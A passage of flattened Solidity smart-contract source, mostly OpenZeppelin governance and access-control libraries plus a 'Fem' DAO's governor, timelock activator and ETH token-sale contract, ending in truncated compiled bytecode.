emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/governance/TimelockController.sol';
import './Governess.sol';
import './FemErecter.sol';
/**
* @notice Deployer for Fem governance contracts and FemErecter.
* Deploys governance in an unusable state, then activates the
* contracts once the sale is successful.
*/
contract GovernessActivator {
TimelockController public immutable timelockController;
Governess public immutable governess;
IFem public immutable fem;
FemErecter public immutable femErecter;
constructor(
address _fem,
address _devAddress,
uint256 _devTokenBips,
uint32 _saleStartTime,
uint32 _saleDuration,
uint32 _timeToSpend,
uint256 _minimumEthRaised
) {
fem = IFem(_fem);
Governess _governess = new Governess(_fem, address(this), type(uint256).max);
governess = _governess;
address[] memory proposers = new address[](1);
address[] memory executors = new address[](1);
proposers[0] = address(_governess);
executors[0] = address(_governess);
TimelockController timelock = new TimelockController(2 days, proposers, executors);
timelockController = timelock;
timelockController.renounceRole(keccak256('TIMELOCK_ADMIN_ROLE'), address(this));
femErecter = new FemErecter(
address(timelock),
_devAddress,
_devTokenBips,
_fem,
_saleStartTime,
_saleDuration,
_timeToSpend,
_minimumEthRaised
);
}
function activateGoverness() external {
require(
femErecter.state() == IFemErecter.SaleState.FUNDS_PENDING,
'Can not activate governess before sale succeeds'
);
uint256 finalSupply = (fem.totalSupply() * (10000 + femErecter.devTokenBips())) / 10000;
uint256 proposalThreshold = finalSupply / 100;
governess.setProposalThreshold(proposalThreshold);
governess.updateTimelock(timelockController);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/governance/Governor.sol';
import '@openzeppelin/contracts/governance/extensions/GovernorSettings.sol';
import '@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol';
import '@openzeppelin/contracts/governance/extensions/GovernorVotes.sol';
import '@openzeppelin/contracts/governance/extensions/GovernorVotesQuorumFraction.sol';
import '@openzeppelin/contracts/governance/extensions/GovernorTimelockControl.sol';
/// @custom:security-contact Twitter: @femboydao / Discord: 0xFem#1337 / Email: [email protected]
contract Governess is
Governor,
GovernorSettings,
GovernorCountingSimple,
GovernorVotes,
GovernorVotesQuorumFraction,
GovernorTimelockControl
{
constructor(
address _token,
address _timelock,
uint256 _proposalThreshold
)
Governor('Governess')
GovernorSettings(
1, /* 1 block */
19636, /* 3 days */
_proposalThreshold
)
GovernorVotes(IVotes(_token))
GovernorVotesQuorumFraction(4)
GovernorTimelockControl(TimelockController(payable(_timelock)))
{}
// The following functions are overrides required by Solidity.
function votingDelay() public view override(IGovernor, GovernorSettings) returns (uint256) {
return super.votingDelay();
}
function votingPeriod() public view override(IGovernor, GovernorSettings) returns (uint256) {
return super.votingPeriod();
}
function quorum(uint256 blockNumber) public view override(IGovernor, GovernorVotesQuorumFraction) returns (uint256) {
return super.quorum(blockNumber);
}
function getVotes(address account, uint256 blockNumber)
public
view
override(IGovernor, GovernorVotes)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
function state(uint256 proposalId) public view override(Governor, GovernorTimelockControl) returns (ProposalState) {
return super.state(proposalId);
}
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public override(Governor, IGovernor) returns (uint256) {
return super.propose(targets, values, calldatas, description);
}
function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256) {
return super.proposalThreshold();
}
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(Governor, GovernorTimelockControl) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(Governor, GovernorTimelockControl) returns (uint256) {
return super._cancel(targets, values, calldatas, descriptionHash);
}
function _executor() internal view override(Governor, GovernorTimelockControl) returns (address) {
return super._executor();
}
function supportsInterface(bytes4 interfaceId)
public
view
override(Governor, GovernorTimelockControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import './InitializedOwnable.sol';
import './IFemErecter.sol';
contract FemErecter is InitializedOwnable, IFemErecter {
using SafeERC20 for IERC20;
IFem public immutable override fem;
address public immutable override devAddress;
uint256 public immutable override devTokenBips;
uint256 public immutable override saleStartTime;
uint256 public immutable override saleEndTime;
uint256 public immutable override saleDuration;
uint256 public immutable override spendDeadline;
uint256 public immutable override minimumEthRaised;
bool public override ethClaimed;
mapping(address => uint256) public override depositedAmount;
modifier requireState(SaleState _state, string memory errorMessage) {
require(state() == _state, errorMessage);
_;
}
constructor(
address _owner,
address _devAddress,
uint256 _devTokenBips,
address _fem,
uint32 _saleStartTime,
uint32 _saleDuration,
uint32 _timeToSpend,
uint256 _minimumEthRaised
) InitializedOwnable(_owner) {
require(_devTokenBips > 0, 'devTokenBips can not be 0');
require(_devTokenBips < 1000, 'devTokenBips too high');
require(_saleStartTime > block.timestamp, 'start too early');
devAddress = _devAddress;
devTokenBips = _devTokenBips;
fem = IFem(_fem);
saleStartTime = _saleStartTime;
uint256 endTime = _saleStartTime + _saleDuration;
saleEndTime = endTime;
saleDuration = _saleDuration;
spendDeadline = endTime + _timeToSpend;
minimumEthRaised = _minimumEthRaised;
}
/**
* @dev Reports the current state of the token sale.
*/
function state() public view override returns (SaleState) {
if (block.timestamp < saleStartTime) return SaleState.PENDING;
if (block.timestamp < saleEndTime) return SaleState.ACTIVE;
// If ETH has been claimed, the sale was a success
if (ethClaimed) return SaleState.SUCCESS;
// If insufficient ETH has been raised or deadline has passed, sale was a failure
if (address(this).balance < minimumEthRaised || block.timestamp >= spendDeadline) return SaleState.FAILURE;
// Sale is over with enough ETH raised, deadline has not passed to spend it
return SaleState.FUNDS_PENDING;
}
/**
* @notice Allows governance to claim ETH raised from the sale.
* note: Only callable if {state()} is {SaleState.FUNDS_PENDING}
* - Sale is over.
* - Spend deadline has not passed.
* - ETH has not already been claimed.
* - More than {minimumEthRaised} was raised by the sale.
*/
function claimETH(address to)
external
override
onlyOwner
requireState(SaleState.FUNDS_PENDING, 'Funds not pending governance claim')
{
ethClaimed = true;
uint256 amount = address(this).balance;
_sendETH(to, amount);
emit EthClaimed(to, amount);
fem.mint(devAddress, (fem.totalSupply() * devTokenBips) / 10000);
fem.transferOwnership(owner());
}
/**
* @notice Deposit ETH in exchange for equivalent amount of FEM.
* note: Only callable if {state()} is {SaleState.ACTIVE}
* - Sale has started.
* - Sale is not over.
*/
function deposit() external payable override requireState(SaleState.ACTIVE, 'Sale not active') {
require(msg.value > 0, 'Can not deposit 0 ETH');
depositedAmount[msg.sender] += msg.value;
fem.mint(msg.sender, msg.value);
emit Deposit(msg.sender, msg.value);
}
/**
* @notice Burn FEM in exchange for equivalent amount of ETH.
* note: Only callable if {state()} is {SaleState.FAILURE}
* - Sale is over.
* - Insufficient ETH raised OR spend deadline has passed without ETH being claimed.
*/
function burnFem(uint256 amount) public override requireState(SaleState.FAILURE, 'Sale has not failed') {
fem.burn(msg.sender, amount);
_sendETH(_msgSender(), amount);
emit Withdraw(msg.sender, amount);
}
function _sendETH(address to, uint256 amount) internal {
(bool success, ) = to.call{value: amount}('');
require(success, 'Failed to transfer ETH');
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorSettings.sol)
pragma solidity ^0.8.0;
import "../Governor.sol";
/**
* @dev Extension of {Governor} for settings updatable through governance.
*
* _Available since v4.4._
*/
abstract contract GovernorSettings is Governor {
uint256 private _votingDelay;
uint256 private _votingPeriod;
uint256 private _proposalThreshold;
event VotingDelaySet(uint256 oldVotingDelay, uint256 newVotingDelay);
event VotingPeriodSet(uint256 oldVotingPeriod, uint256 newVotingPeriod);
event ProposalThresholdSet(uint256 oldProposalThreshold, uint256 newProposalThreshold);
/**
* @dev Initialize the governance parameters.
*/
constructor(
uint256 initialVotingDelay,
uint256 initialVotingPeriod,
uint256 initialProposalThreshold
) {
_setVotingDelay(initialVotingDelay);
_setVotingPeriod(initialVotingPeriod);
_setProposalThreshold(initialProposalThreshold);
}
/**
* @dev See {IGovernor-votingDelay}.
*/
function votingDelay() public view virtual override returns (uint256) {
return _votingDelay;
}
/**
* @dev See {IGovernor-votingPeriod}.
*/
function votingPeriod() public view virtual override returns (uint256) {
return _votingPeriod;
}
/**
* @dev See {Governor-proposalThreshold}.
*/
function proposalThreshold() public view virtual override returns (uint256) {
return _proposalThreshold;
}
/**
* @dev Update the voting delay. This operation can only be performed through a governance proposal.
*
* Emits a {VotingDelaySet} event.
*/
function setVotingDelay(uint256 newVotingDelay) public virtual onlyGovernance {
_setVotingDelay(newVotingDelay);
}
/**
* @dev Update the voting period. This operation can only be performed through a governance proposal.
*
* Emits a {VotingPeriodSet} event.
*/
function setVotingPeriod(uint256 newVotingPeriod) public virtual onlyGovernance {
_setVotingPeriod(newVotingPeriod);
}
/**
* @dev Update the proposal threshold. This operation can only be performed through a governance proposal.
*
* Emits a {ProposalThresholdSet} event.
*/
function setProposalThreshold(uint256 newProposalThreshold) public virtual onlyGovernance {
_setProposalThreshold(newProposalThreshold);
}
/**
* @dev Internal setter for the voting delay.
*
* Emits a {VotingDelaySet} event.
*/
function _setVotingDelay(uint256 newVotingDelay) internal virtual {
emit VotingDelaySet(_votingDelay, newVotingDelay);
_votingDelay = newVotingDelay;
}
/**
* @dev Internal setter for the voting period.
*
* Emits a {VotingPeriodSet} event.
*/
function _setVotingPeriod(uint256 newVotingPeriod) internal virtual {
// voting period must be at least one block long
require(newVotingPeriod > 0, "GovernorSettings: voting period too low");
emit VotingPeriodSet(_votingPeriod, newVotingPeriod);
_votingPeriod = newVotingPeriod;
}
/**
* @dev Internal setter for the proposal threshold.
*
* Emits a {ProposalThresholdSet} event.
*/
function _setProposalThreshold(uint256 newProposalThreshold) internal virtual {
emit ProposalThresholdSet(_proposalThreshold, newProposalThreshold);
_proposalThreshold = newProposalThreshold;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorCountingSimple.sol)
pragma solidity ^0.8.0;
import "../Governor.sol";
/**
* @dev Extension of {Governor} for simple, 3 options, vote counting.
*
* _Available since v4.3._
*/
abstract contract GovernorCountingSimple is Governor {
/**
* @dev Supported vote types. Matches Governor Bravo ordering.
*/
enum VoteType {
Against,
For,
Abstain
}
struct ProposalVote {
uint256 againstVotes;
uint256 forVotes;
uint256 abstainVotes;
mapping(address => bool) hasVoted;
}
mapping(uint256 => ProposalVote) private _proposalVotes;
/**
* @dev See {IGovernor-COUNTING_MODE}.
*/
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual override returns (string memory) {
return "support=bravo&quorum=for,abstain";
}
/**
* @dev See {IGovernor-hasVoted}.
*/
function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) {
return _proposalVotes[proposalId].hasVoted[account];
}
/**
* @dev Accessor to the internal vote counts.
*/
function proposalVotes(uint256 proposalId)
public
view
virtual
returns (
uint256 againstVotes,
uint256 forVotes,
uint256 abstainVotes
)
{
ProposalVote storage proposalvote = _proposalVotes[proposalId];
return (proposalvote.againstVotes, proposalvote.forVotes, proposalvote.abstainVotes);
}
/**
* @dev See {Governor-_quorumReached}.
*/
function _quorumReached(uint256 proposalId) internal view virtual override returns (bool) {
ProposalVote storage proposalvote = _proposalVotes[proposalId];
return quorum(proposalSnapshot(proposalId)) <= proposalvote.forVotes + proposalvote.abstainVotes;
}
/**
* @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be strictly over the againstVotes.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual override returns (bool) {
ProposalVote storage proposalvote = _proposalVotes[proposalId];
return proposalvote.forVotes > proposalvote.againstVotes;
}
/**
* @dev See {Governor-_countVote}. In this module, the support follows the `VoteType` enum (from Governor Bravo).
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual override {
ProposalVote storage proposalvote = _proposalVotes[proposalId];
require(!proposalvote.hasVoted[account], "GovernorVotingSimple: vote already cast");
proposalvote.hasVoted[account] = true;
if (support == uint8(VoteType.Against)) {
proposalvote.againstVotes += weight;
} else if (support == uint8(VoteType.For)) {
proposalvote.forVotes += weight;
} else if (support == uint8(VoteType.Abstain)) {
proposalvote.abstainVotes += weight;
} else {
revert("GovernorVotingSimple: invalid value for enum VoteType");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (governance/extensions/GovernorVotes.sol)
pragma solidity ^0.8.0;
import "../Governor.sol";
import "../utils/IVotes.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token, or since v4.5 an {ERC721Votes} token.
*
* _Available since v4.3._
*/
abstract contract GovernorVotes is Governor {
IVotes public immutable token;
constructor(IVotes tokenAddress) {
token = tokenAddress;
}
/**
* Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).
*/
function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
return token.getPastVotes(account, blockNumber);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (governance/extensions/GovernorVotesQuorumFraction.sol)
pragma solidity ^0.8.0;
import "./GovernorVotes.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token and a quorum expressed as a
* fraction of the total supply.
*
* _Available since v4.3._
*/
abstract contract GovernorVotesQuorumFraction is GovernorVotes {
uint256 private _quorumNumerator;
event QuorumNumeratorUpdated(uint256 oldQuorumNumerator, uint256 newQuorumNumerator);
/**
* @dev Initialize quorum as a fraction of the token's total supply.
*
* The fraction is specified as `numerator / denominator`. By default the denominator is 100, so quorum is
* specified as a percent: a numerator of 10 corresponds to quorum being 10% of total supply. The denominator can be
* customized by overriding {quorumDenominator}.
*/
constructor(uint256 quorumNumeratorValue) {
_updateQuorumNumerator(quorumNumeratorValue);
}
/**
* @dev Returns the current quorum numerator. See {quorumDenominator}.
*/
function quorumNumerator() public view virtual returns (uint256) {
return _quorumNumerator;
}
/**
* @dev Returns the quorum denominator. Defaults to 100, but may be overridden.
*/
function quorumDenominator() public view virtual returns (uint256) {
return 100;
}
/**
* @dev Returns the quorum for a block number, in terms of number of votes: `supply * numerator / denominator`.
*/
function quorum(uint256 blockNumber) public view virtual override returns (uint256) {
return (token.getPastTotalSupply(blockNumber) * quorumNumerator()) / quorumDenominator();
}
/**
* @dev Changes the quorum numerator.
*
* Emits a {QuorumNumeratorUpdated} event.
*
* Requirements:
*
* - Must be called through a governance proposal.
* - New numerator must be smaller or equal to the denominator.
*/
function updateQuorumNumerator(uint256 newQuorumNumerator) external virtual onlyGovernance {
_updateQuorumNumerator(newQuorumNumerator);
}
/**
* @dev Changes the quorum numerator.
*
* Emits a {QuorumNumeratorUpdated} event.
*
* Requirements:
*
* - New numerator must be smaller or equal to the denominator.
*/
function _updateQuorumNumerator(uint256 newQuorumNumerator) internal virtual {
require(
newQuorumNumerator <= quorumDenominator(),
"GovernorVotesQuorumFraction: quorumNumerator over quorumDenominator"
);
uint256 oldQuorumNumerator = _quorumNumerator;
_quorumNumerator = newQuorumNumerator;
emit QuorumNumeratorUpdated(oldQuorumNumerator, newQuorumNumerator);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract InitializedOwnable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting `firstOwner` as the initial owner.
*/
constructor(address firstOwner) {
_owner = firstOwner;
emit OwnershipTransferred(address(0), firstOwner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IFem {
function mint(address to, uint256 amount) external;
function burn(address src, uint256 amount) external;
function transferOwnership(address newOwner) external;
function totalSupply() external view returns (uint256);
}
interface IFemErecter {
/**
* @notice Emitted when ETH is deposited.
*/
event Deposit(address indexed account, uint256 amount);
/**
* @notice Emitted when ETH is withdrawn and FEM is burned.
*/
event Withdraw(address indexed account, uint256 amount);
/**
* @notice Emitted when ETH is claimed by the DAO.
*/
event EthClaimed(address to, uint256 amount);
enum SaleState {
PENDING, // Sale has not started yet
ACTIVE, // Sale is active
FUNDS_PENDING, // Sale complete with more than minimum ETH raised, pending use by DAO
SUCCESS, // Sale complete with ETH claimed by DAO
FAILURE // Sale complete with less than minimum ETH raised OR funds not used in time
}
/* View Functions */
function devAddress() external view returns (address);
function devTokenBips() external view returns (uint256);
function ethClaimed() external view returns (bool);
function fem() external view returns (IFem);
function saleStartTime() external view returns (uint256);
function saleEndTime() external view returns (uint256);
function saleDuration() external view returns (uint256);
function spendDeadline() external view returns (uint256);
function minimumEthRaised() external view returns (uint256);
function depositedAmount(address) external view returns (uint256);
/// @notice Reports the current state of the token sale.
function state() external view returns (SaleState);
/* Actions */
/// @notice Claim ETH raised through the sale for the DAO.
/// note: Only callable if {state()} is {SaleState.FUNDS_PENDING}
function claimETH(address to) external;
/// @notice Deposit ETH in exchange for equivalent amount of FEM.
/// note: Only callable if {state()} is {SaleState.ACTIVE}
function deposit() external payable;
/// @notice Burn FEM in exchange for equivalent amount of ETH.
/// note: Only callable if {state()} is {SaleState.FAILURE}
function burnFem(uint256 amount) external;
} | 0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063715018a6116100f9578063a457c2d711610097578063d505accf11610071578063d505accf146103b4578063dd62ed3e146103c7578063f1127ed814610400578063f2fde38b1461043d57600080fd5b8063a457c2d71461037b578063a9059cbb1461038e578063c3cda520146103a157600080fd5b80638e539e8c116100d35780638e539e8c1461033a57806395d89b411461034d5780639ab24eb0146103555780639dc29fac1461036857600080fd5b8063715018a61461030e5780637ecebe00146103165780638da5cb5b1461032957600080fd5b80633950935111610166578063587cde1e11610140578063587cde1e146102665780635c19a95c146102aa5780636fcfff45146102bd57806370a08231146102e557600080fd5b8063395093511461022b5780633a46b1a81461023e57806340c10f191461025157600080fd5b806306fdde03146101ae578063095ea7b3146101cc57806318160ddd146101ef57806323b872dd14610201578063313ce567146102145780633644e51514610223575b600080fd5b6101b6610450565b6040516101c39190611c96565b60405180910390f35b6101df6101da366004611d07565b6104e2565b60405190151581526020016101c3565b6002545b6040519081526020016101c3565b6101df61020f366004611d31565b6104fa565b604051601281526020016101c3565b6101f361051e565b6101df610239366004611d07565b61052d565b6101f361024c366004611d07565b61056c565b61026461025f366004611d07565b6105eb565b005b610292610274366004611d6d565b6001600160a01b039081166000908152600760205260409020541690565b6040516001600160a01b0390911681526020016101c3565b6102646102b8366004611d6d565b610623565b6102d06102cb366004611d6d565b610630565b60405163ffffffff90911681526020016101c3565b6101f36102f3366004611d6d565b6001600160a01b031660009081526020819052604090205490565b610264610658565b6101f3610324366004611d6d565b61068e565b6005546001600160a01b0316610292565b6101f3610348366004611d88565b6106ac565b6101b6610708565b6101f3610363366004611d6d565b610717565b610264610376366004611d07565b61079e565b6101df610389366004611d07565b6107d2565b6101df61039c366004611d07565b610864565b6102646103af366004611db2565b610872565b6102646103c2366004611e0a565b6109a8565b6101f36103d5366004611e74565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61041361040e366004611ea7565b610b0c565b60408051825163ffffffff1681526020928301516001600160e01b031692810192909252016101c3565b61026461044b366004611d6d565b610b90565b60606003805461045f90611ee7565b80601f016020809104026020016040519081016040528092919081815260200182805461048b90611ee7565b80156104d85780601f106104ad576101008083540402835291602001916104d8565b820191906000526020600020905b8154815290600101906020018083116104bb57829003601f168201915b5050505050905090565b6000336104f0818585610c28565b5060019392505050565b600033610508858285610d4c565b610513858585610dde565b506001949350505050565b6000610528610fb2565b905090565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091906104f09082908690610567908790611f32565b610c28565b60004382106105c25760405162461bcd60e51b815260206004820152601f60248201527f4552433230566f7465733a20626c6f636b206e6f7420796574206d696e65640060448201526064015b60405180910390fd5b6001600160a01b03831660009081526008602052604090206105e490836110d9565b9392505050565b6005546001600160a01b031633146106155760405162461bcd60e51b81526004016105b990611f4a565b61061f8282611196565b5050565b61062d33826111a0565b50565b6001600160a01b03811660009081526008602052604081205461065290611219565b92915050565b6005546001600160a01b031633146106825760405162461bcd60e51b81526004016105b990611f4a565b61068c6000611282565b565b6001600160a01b038116600090815260066020526040812054610652565b60004382106106fd5760405162461bcd60e51b815260206004820152601f60248201527f4552433230566f7465733a20626c6f636b206e6f7420796574206d696e65640060448201526064016105b9565b6106526009836110d9565b60606004805461045f90611ee7565b6001600160a01b038116600090815260086020526040812054801561078b576001600160a01b0383166000908152600860205260409020610759600183611f7f565b8154811061076957610769611f96565b60009182526020909120015464010000000090046001600160e01b031661078e565b60005b6001600160e01b03169392505050565b6005546001600160a01b031633146107c85760405162461bcd60e51b81526004016105b990611f4a565b61061f82826112d4565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909190838110156108575760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105b9565b6105138286868403610c28565b6000336104f0818585610dde565b834211156108c25760405162461bcd60e51b815260206004820152601d60248201527f4552433230566f7465733a207369676e6174757265206578706972656400000060448201526064016105b9565b604080517fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60208201526001600160a01b03881691810191909152606081018690526080810185905260009061093c906109349060a001604051602081830303815290604052805190602001206112de565b85858561132c565b905061094781611354565b86146109955760405162461bcd60e51b815260206004820152601960248201527f4552433230566f7465733a20696e76616c6964206e6f6e63650000000000000060448201526064016105b9565b61099f81886111a0565b50505050505050565b834211156109f85760405162461bcd60e51b815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e6500000060448201526064016105b9565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888610a278c611354565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e0016040516020818303038152906040528051906020012090506000610a82826112de565b90506000610a928287878761132c565b9050896001600160a01b0316816001600160a01b031614610af55760405162461bcd60e51b815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e6174757265000060448201526064016105b9565b610b008a8a8a610c28565b50505050505050505050565b60408051808201909152600080825260208201526001600160a01b0383166000908152600860205260409020805463ffffffff8416908110610b5057610b50611f96565b60009182526020918290206040805180820190915291015463ffffffff8116825264010000000090046001600160e01b0316918101919091529392505050565b6005546001600160a01b03163314610bba5760405162461bcd60e51b81526004016105b990611f4a565b6001600160a01b038116610c1f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b9565b61062d81611282565b6001600160a01b038316610c8a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b9565b6001600160a01b038216610ceb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381166000908152600160209081526040808320938616835292905220546000198114610dd85781811015610dcb5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105b9565b610dd88484848403610c28565b50505050565b6001600160a01b038316610e425760405162461bcd60e51b81526020600482015260